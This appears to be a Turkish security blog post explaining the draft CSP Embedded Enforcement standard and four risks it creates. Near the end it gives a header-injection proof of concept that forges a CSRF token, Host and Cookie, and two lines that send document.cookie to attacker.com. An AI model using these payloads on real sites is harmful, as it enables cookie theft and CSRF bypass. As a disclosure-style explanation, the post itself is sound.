Yeni bir atak vektörü: Content Security Policy Embedded Enforcement
2018 yılı Temmuz ayının ilk haftası için hazırladığımız haftanın hacklerinde taslak aşamasında olan Content Security Policy Embedded Enforcement standartı üzerinde oluşabilecek 4 farklı riske ayrıntıyla beraber bakıyoruz.
Content Security Policy: Embedded Enforcement son taslağı Eylül 2017 tarihini taşıyan yeni bir özellik. Henüz taslak aşamasında.
Bu özellik ile birlikte web site sahipleri üçüncü parti siteleri iframe içerisinde yüklemeden önce, bazı CSP kuralları set etmelerini talep edebiliyor. Örneğin, tüm scriptleri güvenilir bir kaynak olan şu CDN'den yüklersen, ben de seni iframe içerisinde görüntülerim gibi bir dizi talimatı peşinen iletiyor.
Bunu yaparken iframe için tahsis edilen yeni bir attribute olan csp attribute'ünden istifade ediyoruz.
Örneğin, sitemize iframe içerisinde dahil edeceğimiz example.com 'un tüm script yüklemelerini https üzerinden yüklemesini talep edebiliriz.
<iframe src="http://www.example.com" csp="script-src https;"></iframe>
Yukarıdaki HTML kodu, iframe yüklenirken aşağıdaki gibi bir istek yapılmasını sağlayacak:
GET / HTTP/1.1
Host: www.example.com
sec-required-csp: script-src https;
Dikkat buyurulursa, iframe'deki kaynağı yüklemek için yapılan isteğe bir Request Header'ı ekleyebildik. Bunun muhtemelen risklerine ileride değineceğiz. CSP Embedded Enforcement konusuna devam edelim.
HTTP isteğinde eklenmesi talep edilen CSP headerları şayet site için uygun ise, CSP headerını response'a ekleyerek yanıt veriyor:
HTTP/1.1 200 OK
..
Content-Security-Policy: script-src https;
Peki ya istenilen CSP headerları set edilmez ise?
Bu durumda tarayıcı iframe içerisinde görüntülenmek isteyen kaynağı yüklemeyi reddediyor.
Peki dönen CSP yanıtı daha kısıtlayıcı ise? Yani yukarıda örneğin tüm script yüklemelerinin https bir bağlantı üzerinden yüklenmesini talep ettik. Peki ya dönen yanıtta, web sitesi bu kadarla kalmayıp, ayrıca object-src'yi de 'none' olarak set ederse, yani daha kısıtlayıcı bir CSP set ederse?
Tarayıcı açısından bunda bir mahzur yok. Iframe içerisinde yüklenen kaynak, en az yükleyen sitenin talep ettiği kısıtları barındırıyorsa yükleme problemsiz bir biçimde gerçekleşiyor.
Allow-CSP-From
CSP Embedded Enforment'ın sunduğu seçenekler bu kadar değil. Diyelim ki size öyle bir kaynak istek yapıyor ki, ne dese başınız gözünüz üstüne. O kaynaktan bize kötülük gelmez diyorsunuz. O hangi CSP'yi set et derse, bir bildiği vardır diyorsunuz. O takdirde Allow-CSP-From talimatı sayesinde CSP 'yi hazırlama derdinden kurtuluyorsunuz. Allow-CSP-From response headerı sayesinde, güvendiğiniz kaynakları whitelist ederek, bu kaynakların request'de set edilmesini talep ettiği tüm CSP headerlarının uygulanmasını kabul edebiliyorsunuz.
Allow-CSP-From response headerı şu değerlerden birini alabilir: null, origin, wildcard
Example.com 'un aşağıdaki gibi bir istek yaptığını varsayalım:
GET / HTTP/1.1
Host: www.example.com
sec-required-csp: script-src https;
Şayet dönen yanıt aşağıdaki gibi ise, talep edilen CSP talimatları iframe içerisinde yüklenen siteye uygulanacak:
HTTP/1.1 200 OK
Allow-CSP-From: www.example.com
Şeytan Bunun Neresinde: Olası Güvenlik Riskleri
Iframe csp attribute ile birlikte isteğe bir request headerı eklendiğinden söz etmiş idik. Peki burada ne gibi bir risk ortaya çıkabilir.
Michał Bentkowski 3 hafta önce yayınladığı bir zafiyet bildiriminde, Chrome tarayıcılarda iframe csp attribute'ü ile HTTP Request Header Injection'ın mümkün olduğunu gösterdi.
Üretici tarafından iki gün içerisinde fixlenen zafiyetin ayrıntıları şöyle:
<!doctype html><meta charset=utf-8>
<script>
const ifr = document.createElement('iframe');
ifr.src = 'http://bntk.pl/';
ifr.csp = 'script-src\r\nX-CSRF-Token: 1234\r\nUser-Agent: Firefox\r\nCookie: abc\r\nHost: absolutely-random-host.google';
document.body.appendChild(ifr);
</script>
Yukarıdaki koda istinaden tarayıcı tarafından aşağıdaki gibi bir HTTP isteği oluşturulur. Burada X-CSRF-Token gibi anti-CSRF mekanizması bypass edilebilir:
GET / HTTP/1.1
Host: absolutely-random-host.google
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Required-CSP: script-src
X-CSRF-Token: 1234
Request Header Injection vasıtası ile yukarıdaki örnekte görüldüğü üzere anti-CSRF mekanizması bypass edilebilir, Host header manipülasyonu yapılabilir, saldırgan kendi oturumuna ait bir Cookie'nin gönderilmesini sağlayıp, örneğin bir Self-XSS'i tetikleyebilir.
Risk 2: Policy Enforcement
Sec-Required-CSP headerı vasıtası ile alınan headerın doğrudan HTTP yanıtında bulunan CSP headerında kullanılması, saldırganın belirlediği CSP kurallarının etkin olmasını sağlar. Böylelikle saldırgan bir dizi güvenlik tedbirini devre dışı bırakabilir. Örneğin script ve stil yüklemelerinin güvensiz kaynaklardan gerçekleşmesine imkân verebilir.
Allow-CSP-From bu noktada hususi bir dikkat istiyor.
Risk 3: Policy Leakage
Embedded Enforcement 'ın çalışmasının iki sacayağından söz etmiş idik. Birincisi, iframe içerisinde yüklenen sitenin en az talep edilen CSP kadar kısıtlayıcı bir kural set etmesi gerektiği idi. Diğer bir nokta da şartlara uymayan, yani talep edilen CSP kurallarını içermeyen sitelerin görüntülenemeyeceği idi.
Saldırgan bu iki noktadan hareketle sitenin set ettiği CSP 'yi tahmin edebilir. CSP headerlarının hash, nonce gibi değerler içerebileceği düşünüldüğünde bu vektörün ne kadar ehemmiyetli olduğu anlaşılacaktır.
Risk 4: Data Exfiltration
Sonuncu senaryo XSS gibi zafiyetler vasıtası ile ele geçirilen datanın, saldırgan kontrolündeki bir sunucuya iletilmesi için yeni bir fikir verecektir.
Bir XSS zafiyetinde ele geçirilen Cookie'yi aşağıdaki şekilde gönderebiliyoruz:
new Image.src="http://www.attacker.com/?cookie="+document.cookie
Image yüklemelerine izin verilmiyor ise yahut data çıkartmak için bilinen yollar blacklist edildi ise, örneğin HTML elemanlarının src attributelari bir dizi zararlı stringe karşı kontrol edildi ise, data'yı gönderme işlemini iframe'in csp attribute'ü ile yapabiliriz.
ifr = document.createElement("iframe");
ifr.src="http://www.attacker.com";
ifr.csp="script-src "+document.cookie;
Güvenli bir hafta dileriz :)